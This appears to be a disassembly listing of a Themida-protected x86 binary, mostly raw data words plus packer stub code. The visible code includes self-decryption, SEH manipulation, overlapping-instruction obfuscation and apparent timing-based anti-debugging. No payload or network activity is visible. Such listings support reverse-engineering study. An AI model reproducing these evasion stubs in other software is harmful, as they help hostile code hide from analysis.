		dd 0E7530000h, 2FE80056h, 862F77E8h, 5E79h, 0
		dd 67AC0000h, 2	dup(0)
		dd 10000000h, 4Dh, 77F5h, 28300000h, 0E000B4h, 4 dup(0)
		dd 0D5B20000h, 0EBB377F5h, 6BD377F7h, 5DAF0247h, 9Eh, 4	dup(0)
		dd 390000h, 5 dup(0)
		dd 3040000h, 0D0007FFEh, 959B001Ah, 22220059h, 22222222h
		dd 2222h, 0Ch dup(0)
		dd 0A6E90000h, 77EBh, 0
		dd 0B1680000h, 9Dh, 2 dup(0)
		dd 0B39B0000h, 61Dh, 2 dup(0)
		dd 94990000h, 9Eh, 0B1140000h, 3B84B12h, 0FF970000h, 0FF03h
		dd 0
		dd 9630000h, 6FFh, 2 dup(0)
		dd 8B820000h, 77E7h, 0Ah dup(0)
		dd 3040000h, 7FFEh, 3 dup(0)
		dd 41170000h, 56h, 2 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_530856:				; CODE XREF: start:loc_52D4F5j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 61B336Bh
		mov	[ebp+61B10D9h],	edx
		mov	[ebp+61B13DDh],	esi
		mov	[ebp+61B1A61h],	eax
		cmp	dword ptr [ebp+61B1455h], 0
		jz	short loc_53088E
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------

loc_53088E:				; CODE XREF: start+5D86Cj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+61B2459h],	eax
		push	45h
		call	sub_530942
		push	783749Ah
		call	sub_530988
		push	0A894B25h
		call	sub_530988
		jmp	loc_530ACC
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h
		dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h
		dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh
		dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h
		dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h
		dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h
		dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0)
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_530942	proc near		; CODE XREF: start+5D886p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 61B3459h
		mov	ebx, edx
		mov	[ebp+var_28], 0

loc_53095E:				; CODE XREF: sub_530942+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_53097D
		mov	eax, [ebp+arg_0]
		mov	[ebx+61B33C3h],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_53095E
; ---------------------------------------------------------------------------

loc_53097D:				; CODE XREF: sub_530942+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_530942	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_530988	proc near		; CODE XREF: start+5D890p start+5D89Ap

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 61B34A2h
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0

loc_5309AE:				; CODE XREF: sub_530988+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_5309AE
		mov	[ebp+var_84], 0
		lea	edi, [edx+61B33C3h]
		lea	esi, [ebp+var_80]

loc_5309DE:				; CODE XREF: sub_530988+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh

loc_5309EA:				; CODE XREF: sub_530988+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_5309EA
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_5309DE
		popa
		leave
		retn	4
sub_530988	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_530A28
; ---------------------------------------------------------------------------

loc_530A24:				; CODE XREF: Themida_:00530A2Bj
		inc	dword ptr [ebp-4]
		inc	esi

loc_530A28:				; CODE XREF: Themida_:00530A22j
		cmp	byte ptr [esi],	0
		jnz	short loc_530A24
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_530AB9
; ---------------------------------------------------------------------------

loc_530A3A:				; CODE XREF: Themida_:00530ABCj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_530AB0
; ---------------------------------------------------------------------------

loc_530A43:				; CODE XREF: Themida_:00530AB4j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_530A9D
; ---------------------------------------------------------------------------

loc_530A53:				; CODE XREF: Themida_:00530AA1j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_530A75
		cmp	bl, 39h
		ja	short loc_530A75
		sub	bl, 30h
		jmp	short loc_530A97
; ---------------------------------------------------------------------------

loc_530A75:				; CODE XREF: Themida_:00530A69j
					; Themida_:00530A6Ej
		cmp	bl, 61h
		jb	short loc_530A87
		cmp	bl, 66h
		ja	short loc_530A87
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_530A97
; ---------------------------------------------------------------------------

loc_530A87:				; CODE XREF: Themida_:00530A78j
					; Themida_:00530A7Dj
		cmp	bl, 41h
		jb	short loc_530A97
		cmp	bl, 46h
		ja	short loc_530A97
		sub	bl, 41h
		add	bl, 0Ah

loc_530A97:				; CODE XREF: Themida_:00530A73j
					; Themida_:00530A85j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]

loc_530A9D:				; CODE XREF: Themida_:00530A51j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_530A53
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_530AAD
		mov	eax, [ebp-10h]
		stosb

loc_530AAD:				; CODE XREF: Themida_:00530AA7j
		inc	dword ptr [ebp-8]

loc_530AB0:				; CODE XREF: Themida_:00530A41j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_530A43
		add	edx, 4

loc_530AB9:				; CODE XREF: Themida_:00530A38j
		cmp	edx, [ebp-4]
		jb	loc_530A3A
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start

loc_530ACC:				; CODE XREF: start+5D89Fj
		mov	ecx, 7000h
		lea	edi, [ebp+61B35E8h]

loc_530AD7:				; CODE XREF: start+5DAC7j
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_530AD7
		mov	eax, 48692121h
		mov	edx, 0F00D3000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+61B36DFh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		stc
		pusha
		movsx	edx, si		; CODE XREF: start+5DB0Dj
		call	near ptr loc_530B21+1
		aaa
		and	bh, cl
		xchg	eax, edx
		dec	edi
		mov	byte ptr [ebx],	4Eh
		pop	ebp
		xchg	eax, esp
		cwde
		arpl	sp, sp
		pop	ss
		dec	edi

loc_530B21:				; CODE XREF: start+5DAF9p
		jnz	short near ptr loc_530B0A+2
		adc	[eax], eax
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 2 dup(0), 6Fh
		dd 6D80A855h, 828CEAECh, 0FF655644h, 0E94A85DFh, 0C22B615Eh
		dd 25DA8Bh, 66FFFFF0h, 8BA1BBBBh, 66FF33CAh, 5A4D3881h
		dd 0B70F0E75h, 0D0033C50h, 45503A81h, 8740000h,	10002Dh
		dd 0E3EB4700h, 58F64h, 83000000h, 958D04C4h, 61B36F2h
		dd 35FF6452h, 0
		dd 258964h, 3000000h, 10002DC1h, 708B0000h, 0E68104h, 81FFFF00h
		dd 0FEh, 8B037680h, 0C0331C70h,	7432F883h, 3E81661Fh, 9745A4Dh
		dd 0EE81h, 0EB400001h, 3C7E8BEBh, 3F81FE03h, 4550h, 0E8EB4474h
		dd 58F64h, 83000000h, 0C36104C4h, 244C8B51h, 0B0A98110h
		dd 0
		dd 59000010h, 51C3C033h, 10244C8Bh, 0E855h, 815D0000h
		dd 1B36FDEDh, 0BB858D06h, 89061B36h, 0B881h, 33595D00h
		dd 6496C3C0h, 58Fh, 0C4830000h,	9E804h,	9F030000h, 0A958AB00h
		dd 66C49033h, 665BD98Bh, 80FCD98Ch, 5DBB04E1h, 0BB1450E3h
		dd 42A19084h, 850FC90Ah, 16h, 0C7DF8B66h, 1B1CD585h, 106h
		dd 0FE900h, 0BB660000h,	85C7DA92h, 61B1CD5h, 0
		dd 0F98589F8h, 0F061B2Bh, 0BF60DBBFh, 19D360Eh,	5E8h, 3E21F000h
		dd 61604801h, 85896158h, 61B2F11h, 10E8h, 0C772C300h, 210AA99h
		dd 89118BD2h, 4798F8E6h, 0D38B6651h, 14E958h, 4A310000h
		dd 0ACDF109Dh, 40E29F95h, 81EEE5FCh, 0C0F468AAh, 0C08100A0h
		dd 5CD1h, 108A0Fh, 0BE90000h, 0FF000000h, 0D03891B6h, 0A182437Ah
		dd 0BB392Ah, 66000000h,	0FF35D0BEh, 815F0334h, 0D55F18EAh
		dd 0DDC78120h, 0F75190Dh, 89h, 52F78100h, 8040D7E2h, 0EF812FE6h
		dd 37DDB15Eh, 3C89E5B5h, 0EE816618h, 0CF8B6B39h, 6604EB83h
		dd 810141BAh, 0FFA3C8FBh, 0BC850FFFh, 0FFFFFFFh, 189h
		dd 14E8F500h, 0BD000000h, 7954D520h, 9041CF25h,	81207C2h
		dd 4B75E4E9h, 66F517DAh, 4790C381h, 0A502B95Eh,	0C6812FB8h
		dd 6AE6h, 0FF33EEB7h, 7890Fh, 0BB500000h, 670D722Eh, 3734FF59h
		dd 588DD280h, 0F7CD8060h, 28F0Fh, 61600000h, 0F7F08161h
		dd 8144B229h, 7C7417E2h, 12F08134h, 6605B9ACh, 0E881D88Bh
		dd 71273718h, 12890Fh, 830F0000h, 0Ch, 7E9h, 36CBAA00h
		dd 0C0DE8CC6h, 0F83E0489h, 9F36EA81h, 0EF83746Dh, 8E802h
		dd 77680000h, 0E0A20CCh, 81601C87h, 5BD96EEBh, 4F5A6102h
		dd 6656604Fh, 5BC3DBBAh, 0D0FF8161h, 0FFFFF95h,	0FFFF8085h
		dd 0A2BA66FFh, 6BEE970h, 29600000h, 1B23858Dh, 8A0F6106h
		dd 11h,	0CE9h, 0DE535400h, 1999E45Dh, 0E2AA83CAh, 2171Dh
		dd 95890000h, 61B0D39h,	0B5BD8960h, 0B8061B11h,	0
		dd 0B198589h, 548B061Bh, 0BD892824h, 61B0B3Dh, 7258589h
		dd 8B0F061Bh, 13h, 0EE9h, 2A986500h, 0B4FD50DAh, 8739316Ch
		dd 0BE290181h, 3Ch, 0E8F0Fh, 89600000h,	1B0AAD95h, 59BD8B06h
		dd 61061B32h, 24247403h, 68A0FF8h, 89000000h, 1B0D558Dh
		dd 60AD6606h, 1CB1CA81h, 29606CADh, 1B2B7185h, 35958906h
		dd 61061B1Dh, 24440361h, 0CE924h, 0CBE30000h, 0CF28DCA9h
		dd 0DC19B30Ah, 5050CC78h, 10E952h, 0EA6F0000h, 0BBF590Dh
		dd 0EF26CDBFh, 81146E4Ch, 310F8290h, 6860Fh, 52500000h
		dd 585A310Fh, 489585Ah,	95896024h, 61B1ECDh, 1FE28166h
		dd 0FE961D0h, 1A000000h, 94400AEAh, 7B9B63DDh, 41238AE6h
		dd 408BB99Ch, 3D858978h, 89061B1Bh, 1B305D9Dh, 24440306h
		dd 0A850F28h, 60000000h, 850B95B4h, 61B0BDDh, 18408B61h
		dd 108E0Fh, 0BE90000h, 7A000000h, 0EE65CF09h, 5F469801h
		dd 0E94039F4h, 9, 173C648Ch, 0BA10577h,	148589E9h, 60061B39h
		dd 1C10BF66h, 1765BD8Bh, 5861061Bh, 9ABB6660h, 6870FDCh
		dd 89000000h, 1B2F9DBDh, 708B6106h, 8D0F6078h, 6, 11BDBD89h
		dd 830F061Bh, 4, 775EB966h, 1CC68361h, 1935B589h, 7403061Bh
		dd 2B602424h, 1B334985h, 8D853106h, 61061B0Ch, 9B1BD8Dh
		dd 0ADF8061Bh, 0FF860F8h, 184h,	361FC00h, 60242444h, 7E9h
		dd 0B4BFFC00h, 32E42026h, 0CB9B589h, 0AB61061Bh, 35BD8DF8h
		dd 0F061B07h, 685h, 0ADB58900h,	0AD061B1Bh, 9E9h, 0E8175700h
		dd 14F799AAh, 440306F8h, 0F5FC2424h, 0C840F50h,	0F000000h
		dd 68Ch, 0F525000h, 89585A31h, 8D892404h, 61B326Dh, 12E9ABh
		dd 913F0000h, 7BDBBB07h, 973AFD26h, 38C3B962h, 736A02h
		dd 1F05BD8Dh, 9D89061Bh, 61B1F41h, 78D0FADh, 60000000h
		dd 60D38B66h, 44036161h, 8A0F2824h, 7, 1840Fh, 60F90000h
		dd 0F08B6656h, 840F58h,	61000000h, 895EF9ABh, 1B08DD85h
		dd 9D896006h, 61B2E81h,	5E953h,	2D940000h, 583F155Fh, 148DFF61h
		dd 83061B39h, 1B3914BDh, 10750006h, 1C2444C7h, 0
		dd 3DB0B58Dh, 0E6FF061Bh, 4403AD56h, 8B972824h,	9D858ADFh
		dd 84061B23h, 3A0474C0h, 574C7507h, 75AEC032h, 0FB2B5EFDh
		dd 0C933FC52h, 33D18B49h, 0ACDB33C0h, 0CD8AC132h, 0D68AEA8Ah
		dd 0D16608B6h, 0D8D166EBh, 35660973h, 81665041h, 0FE5449F3h
		dd 33EB75CEh, 4FD333C8h, 0D2F7D575h, 0C28BD1F7h, 6610C0C1h
		dd 3B5AC18Bh, 5E0F74D0h, 0FF04C683h, 1B072585h,	0FF6FE906h
		dd 15EFFFFh, 1B2D51B5h,	0A59D8906h, 8B061B22h, 1B072585h
		dd 0E0D1F506h, 5D8589F9h, 3061B30h, 1B1F0585h, 8850F06h
		dd 60000000h, 12E9BD89h, 2B61061Bh, 8820FF6h, 0F000000h
		dd 286h, 96616000h, 0EAD08160h,	613C838Dh, 23818589h, 0AD66061Bh
		dd 9E9h, 0E3D48D00h, 4CB1F676h,	0E0C12288h, 0EC806002h
		dd 6117B70Fh, 0E840Fh, 81600000h, 404FDC3h, 559D8B6Ch
		dd 61061B00h, 9B18503h,	8060061Bh, 0BF0F36E5h, 609661D0h
		dd 25359D09h, 0BD8B061Bh, 61B2B05h, 8BFCAD61h, 124244Ch
		dd 1B1BBD8Dh, 24440306h, 1853124h, 89061B02h, 91C2444h
		dd 1B02E195h, 13E99606h, 9D000000h, 0B87D3ACh, 0EA722CE7h
		dd 8B4FAD12h, 1AEDD77Ch, 0E9AC3D93h, 0Fh, 0F37F800Ah, 74061455h
		dd 0C4740D47h, 32547E02h, 89F860C9h, 1B13B58Dh,	0C1FE6106h
		dd 0FD0D0F5h, 0A083h, 11BD8900h, 0D0061B08h, 92830FD0h
		dd 1000000h, 1B0D61B5h,	0FD0D006h, 8482h, 6830F00h, 89000000h
		dd 1B0229B5h, 0D9B50906h, 0D0061B02h, 6A820FD0h, 60000000h
		dd 8C6B0AB8h, 0F0B70F7Bh, 0FC9FE61h, 0FFFFB089h, 85BD89FFh
		dd 29061B0Ch, 1B2C559Dh, 20C48306h, 2444C7F8h, 0FCh, 458D8900h
		dd 0B8061B24h, 1, 10E9h, 0F224200h, 0B73336BEh,	0A0E0C819h
		dd 0DA91C8E0h, 48D8D75h, 89061B71h, 1B0751B5h, 0CE906h
		dd 61050000h, 6E94BBA2h, 0F40AC68Ch, 0E1FF383Ah, 9D85C6FCh
		dd 61B23h, 0E810Fh, 9E90000h, 34000000h, 44198B5Ah, 0E0A52E67h
		dd 0E1852961h, 0C2061B29h, 810F0008h, 0Ch, 7E9h, 8F6AD600h
		dd 0D1B7DBA7h, 13E9h, 8726B500h, 19BF124h, 0C79DAB83h
		dd 8DF4534Ah, 0D090DF64h, 0DE8A6096h, 6E95061h,	0B7000000h
		dd 0AFCF73A7h, 89F99606h, 1B3F88B5h, 88C0F06h, 0F000000h
		dd 28Eh, 89616000h, 1B3F938Dh, 9D858906h, 0F9061B03h, 3E88B58Dh
		dd 0B589061Bh, 61B29E9h, 7E35858Dh, 0EE9005Bh, 73000000h
		dd 0B02FC089h, 1660179Fh, 0C7A05DC2h, 0BE9D7h, 84DA0000h
		dd 72D06081h, 0E138F886h, 29D0FF29h, 1B0065BDh,	95295E06h
		dd 61B07E1h, 0BE9C3h, 7CB10000h, 0E8CA5CB5h, 0C3DBE3E7h
		dd 88B58B62h, 1061B3Fh,	1B2E3995h, 938D8B06h, 0F061B3Fh
		dd 0C8Fh, 6860F00h, 9000000h, 1B094985h, 0B806h, 8BF90000h
		dd 18E0FD9h, 0F9000000h, 0B8E9h, 0E5958900h, 32061B17h
		dd 11E926h, 0A7A40000h,	1DA05D6h, 85418ACCh, 1969097Ch
		dd 0B208B1FAh, 0E9B58902h, 0E9061B31h, 0Bh, 0B958040h
		dd 58508F5Dh, 0E9B79594h, 5Ch, 0CDBD8B60h, 0E9061B1Bh
		dd 0Fh,	0F54CECCFh, 74583094h, 970E9A21h, 61103F16h, 0F5C232F8h
		dd 751D7A05h, 8595898Ah, 8A061B0Ch, 0C8D3F8CCh,	25159531h
		dd 4235061Bh, 0E998D108h, 14h, 70D53475h, 0E6D4FABAh, 0CFA7831Dh
		dd 3F3CCCB3h, 7E56FFA6h, 8589CAFEh, 61B0839h, 850FD20Ah
		dd 0FFFFFFB9h, 0A800Fh,	5E90000h, 19000000h, 0C2B46B43h
		dd 946F84Bh, 1B2B059Dh,	0FDB0B06h, 0FFFF4685h, 99D89FFh
		dd 0CF061B0Bh, 890000F9h, 1B2F0D9Dh, 0F5000006h, 8C0F0000h
		dd 0Ah,	1858960h, 0B7061B0Ah, 61E5h, 6810Fh, 9D890000h
		dd 61B1D41h, 391F858Dh,	89F9061Bh, 1B067185h, 6E906h, 41D0000h
		dd 468BA980h, 0CE99529h, 858D061Bh, 61B3DFFh, 0F18589FCh
		dd 0EB061B0Ah, 14h, 3 dup(0)
		dd 8800h, 0AB858D00h, 89061B40h, 1B179985h, 0ECBD8306h
		dd 61B3Fh, 12B840Fh, 85C60000h,	61B239Dh, 0F9386856h, 3481A168h
		dd 77940124h, 0F9B5FF75h, 8D061B2Bh, 1B391F85h,	89D0FF06h
		dd 1B3FE085h, 9D85C606h, 56061B23h, 0AA121268h,	24048180h
		dd 1BFEA640h, 2BF9B5FFh, 858D061Bh, 61B391Fh, 8589D0FFh
		dd 61B3FE4h, 4E8046Ah, 0
		dd 50000010h, 424448Bh,	4489008Bh, 8B580424h, 1B3FF085h
		dd 1F40506h, 0E0C10000h, 90509002h, 95FF006Ah, 61B3FE4h
		dd 3FE88589h, 0D88B061Bh, 0FFFFFFB8h, 9995FFFFh, 8B061B17h
		dd 9995FFC3h, 0E9061B17h, 8Dh, 3FECBD83h, 0F00061Bh, 185h
		dd 8B57C300h, 1B3FE8BDh, 8583AB06h, 61B3FE8h, 83C35F04h
		dd 1B3FECBDh, 850F0006h, 1, 0AD8360C3h,	61B3FE8h, 0E89D8B04h
		dd 83061B3Fh, 0FFFFC7Bh, 2685h,	4E800h,	80000000h, 8B500000h
		dd 8B042444h, 24448900h, 6A5804h, 95FF33FFh, 61B3FE0h
		dd 1DE9C361h, 68000000h, 5A31A744h, 44243481h, 6A5A3127h
		dd 0FF33FF00h, 1B3FE095h, 0E8AD8306h, 4061B3Fh,	0FFFFA8E9h
		dd 0ADE948FFh, 60000001h, 2424748Bh, 28247C8Bh,	8A80B2FCh
		dd 7884606h, 2BB47h, 0D2020000h, 5850Fh, 168A0000h, 0FD21246h
		dd 0FFFFE283h, 0FD202FFh, 585h,	46168A00h, 830FD212h, 6Ah
		dd 0D202C033h, 5850Fh, 168A0000h, 0FD21246h, 12A83h, 0FD20200h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C013h
		dd 5850Fh, 168A0000h, 13D21246h, 6840FC0h, 57000000h, 78AF82Bh
		dd 4707885Fh, 2BBh, 0FF70E900h,	1B8FFFFh, 2000000h, 5850FD2h
		dd 8A000000h, 0D2124616h, 0D202C013h, 5850Fh, 168A0000h
		dd 0FD21246h, 0FFFFDE82h, 0BBC32BFFh, 1, 34850Fh, 1B90000h
		dd 2000000h, 5850FD2h, 8A000000h, 0D2124616h, 0D202C913h
		dd 5850Fh, 168A0000h, 0FD21246h, 0FFFFDE82h, 0F78B56FFh
		dd 0A4F3F52Bh, 0FF08E95Eh, 0C148FFFFh, 68A08E0h, 0B9E88B46h
		dd 1, 850FD202h, 5, 1246168Ah, 2C913D2h, 5850FD2h, 8A000000h
		dd 0D2124616h, 0FFDE820Fh, 3DFFFFh, 0F00007Dh, 2283h, 5003D00h
		dd 820F0000h, 0Eh, 0F78B5641h, 0A4F3F02Bh, 0FEB4E95Eh
		dd 0F883FFFFh, 3870F7Fh, 83000000h, 8B5602C1h, 0F3F02BF7h
		dd 9BE95EA4h, 8AFFFFFEh, 0C9334606h, 0F01E8C0h,	1784h
		dd 2D18300h, 8B56E88Bh,	0F3F02BF7h, 1BB5EA4h, 0E9000000h
		dd 0FFFFFE76h, 28247C2Bh, 1C247C89h, 8C261h, 929BAh, 9D3E900h
		dd 13970000h, 0A7EF7009h, 697F5617h, 9189E3F4h,	1A9CDC8Bh
		dd 0B18F31DAh, 4934C004h, 4C30F936h, 35CA21FFh,	0E5E47D09h
		dd 7E6D5E1Bh, 8398B0A6h, 5193998Ch, 0BBFF52B5h,	4829D40Eh
		dd 4C30AB3Ah, 36C527FDh, 0E5FE7D09h, 61774304h,	9D84AEA6h
		dd 5F878E97h, 0F7CB31DEh, 5929D019h, 231F977h, 20D127E8h
		dd 0AAF86409h, 61794305h, 0A8h,	62h dup(0)
		dd 13970000h, 0ABE57909h, 7E77450Bh, 9F93B3A6h,	129F8E9Fh
		dd 0A4CE379Fh, 483FD74Bh, 4D23AB78h, 72C026E4h,	0ABE4615Bh
		dd 2C7F5F0Bh, 89C1ADEFh, 5F8C8997h, 0A3DC26CCh,	2774D80Eh
		dd 4729DB1Bh, 7EC13BF0h, 0A9E46109h, 2C7C500Dh,	96C1B7EFh
		dd 5F93938Ah, 0B8C23AD2h, 4C7ACC19h, 5065EF78h,	33D03BF4h
		dd 0BCAA605Bh, 2C6A440Dh, 978EB1F6h, 51939D8Ah,	48h dup(0)
		dd 13970000h, 0A4F87709h, 7E7D5A01h, 84C1B0A1h,	5F929397h
		dd 0F7DC3ED7h, 433FD009h, 572AED36h, 20842CFFh,	0ACE47A5Ch
		dd 6538560Ch, 9F98E3E8h, 0CDE8E8Dh, 0B2DB2CC6h,	20509B06h
		dd 4320E746h, 72882DE2h, 0AAE67A5Ch, 65385503h,	8287E3F2h
		dd 12DE9197h, 0A5C032DAh, 433B9512h, 4737AB72h,	20C53CE2h
		dd 0AAF3345Dh, 7C384317h, 8286ACF4h, 0D09199h, 61h dup(0)
		dd 14970000h, 0E5EF7840h, 7E6A5E01h, 9595B3F3h,	5FD0DD9Ch
		dd 0A4C637EBh, 4228C54Bh, 4F24F971h, 21C520B1h,	0A0EF7609h
		dd 6D75110Ch, 8591AAE8h, 1A8A9D94h, 0B9CE7FDBh,	4C37950Fh
		dd 2820E96Fh, 75D0219Ch, 0ABE3345Ah, 787B5404h,	92C1A7E3h
		dd 5F9FDC81h, 0A2DD36E9h, 5F359518h, 4337E836h,	36C123F2h
		dd 0ADDE3407h, 6A38420Bh, 0D084AFEFh, 5890938Fh, 0B8D87FCBh
		dd 4C7ADE19h, 4D28F278h, 8A2DE3h, 0E0h dup(0)
		dd 4C570000h, 446D754Eh, 50734C4Ch, 746F72h, 30h, 8 dup(0)
aExitStatusD	db 'Exit Status = %d',0
		align 4
		dd 0
		dd 2E73E900h, 0B5090000h, 61B1E79h, 359D8BFCh, 8B061B2Ch
		dd 55006AC0h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 10653100h, 14E9h, 0F7903C00h, 113451D5h
		dd 0A21E157Ch, 0C2CAFEA2h, 0F35D6709h, 83FC8A33h, 1B23D1BDh
		dd 9750006h, 3129BD83h,	7400061Bh, 8B535013h, 1B8C0h, 9D8D0000h
		dd 61DA4EFh, 585BD3FFh,	3129BD83h, 7400061Bh, 0B8535011h
		dd 1, 0A3A09D8Dh, 0D3FF061Dh, 6A585Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0A88FA5C3h
		dd 3870F5Ah, 66000000h,	0C281D78Bh, 572A0149h, 23A59D8Bh
		dd 8EBB061Bh, 8B3DCB32h, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 57030496h, 0EBDB589h
		dd 0F5A061Bh, 9589D8BFh, 61B1BF5h, 110DBD83h, 0F00061Bh
		dd 21284h, 0C59D8B00h, 0F9061B32h, 0BA5BD83h, 0F00061Bh
		dd 1FE84h, 21958B00h, 66061B0Ah, 6011EFBAh, 858BF78Ah
		dd 61B0BA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Bh,	78C35040h, 47457D85h, 1D4FF34h,	1B325D8Dh, 3E80506h
		dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 84E9E8C3h, 4EE4BA66h, 0A58EE6BBh,	0DEBF0F1Eh
		dd 50DE8B90h, 52505250h, 310F5A57h, 310F585Ah, 6E8h, 0AAEEEC00h
		dd 607B2BAFh, 585A5B61h, 10E990h, 34120000h, 7F681BD8h
		dd 66FC6B2Bh, 0E1649F47h, 858D759Dh, 61B4CAFh, 0C1E38166h
		dd 890F501Dh, 5, 8F1048BAh, 2404891Fh, 23F99D23h, 858D061Bh
		dd 61B4C8Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	44C35646h, 9A38EBC9h, 4A072A2Fh, 819D8B93h, 0BA061B32h
		dd 738190Fh, 1819958Bh,	6050061Bh, 59DF8B52h, 12E8h, 0A28FBF00h
		dd 69946C69h, 3A747FEh,	74702F00h, 58854999h, 24048961h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F5C35747h
		dd 14EFFE41h, 0BAC0B7D0h, 4703612h, 2D7195FFh, 0D78B061Bh
		dd 6A0CC483h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 2CEC351h, 958B2630h, 61B09A9h
		dd 4C8D858Dh, 6A061Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 150424h, 52420000h, 909C14C3h, 69E125BBh, 0D38B5073h
		dd 0A19D8990h, 6A061B16h, 50006A02h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0BA4109Ch
		dd 0F5D28DA2h, 857495FFh, 6A0068h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 190424h, 51410000h, 658C23C3h, 61D24B8Dh
		dd 38E951BBh, 0C769B75Bh, 1B4CC085h, 106h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h
		dd 519526A3h, 875A8874h, 0AC1CF381h, 0E8964202h, 0Fh, 1C384D28h
		dd 99996497h, 0A1667E84h, 5B3D4B26h, 8B666050h,	61CA8AC1h
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1C04h
		dd 0C3524200h, 9CC33D52h, 3B500863h, 71B5893Dh,	0E9061B4Ch
		dd 6, 0ED2268C8h, 0BD833B77h, 61B1CD5h,	1B850F01h, 8B000000h
		dd 1B026195h, 5F88306h,	0C850Fh, 9D8B0000h, 61B2F71h, 0B8h
		dd 0BD83F800h, 61B0405h, 11840F00h, 29000000h, 1B192985h
		dd 0B806h, 9D8B0000h, 61B01ADh,	8BDE8A60h, 1B1B9D9Dh, 31858B06h
		dd 9061B30h, 1B3185B5h,	2C08306h, 1E899D23h, 8589061Bh
		dd 61B4C69h, 0D298589h,	0C6061Bh, 0CAD680FFh, 239D85C6h
		dd 6A53061Bh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1A042444h, 43000000h, 0D3BC353h, 0C4F1D7A0h,	9D2B6029h
		dd 61B0941h, 12E58D89h,	6861061Bh, 7E6B4C00h, 50525060h
		dd 5A310F52h, 0F310F58h, 81h, 50585A00h, 615A6160h, 0D8240481h
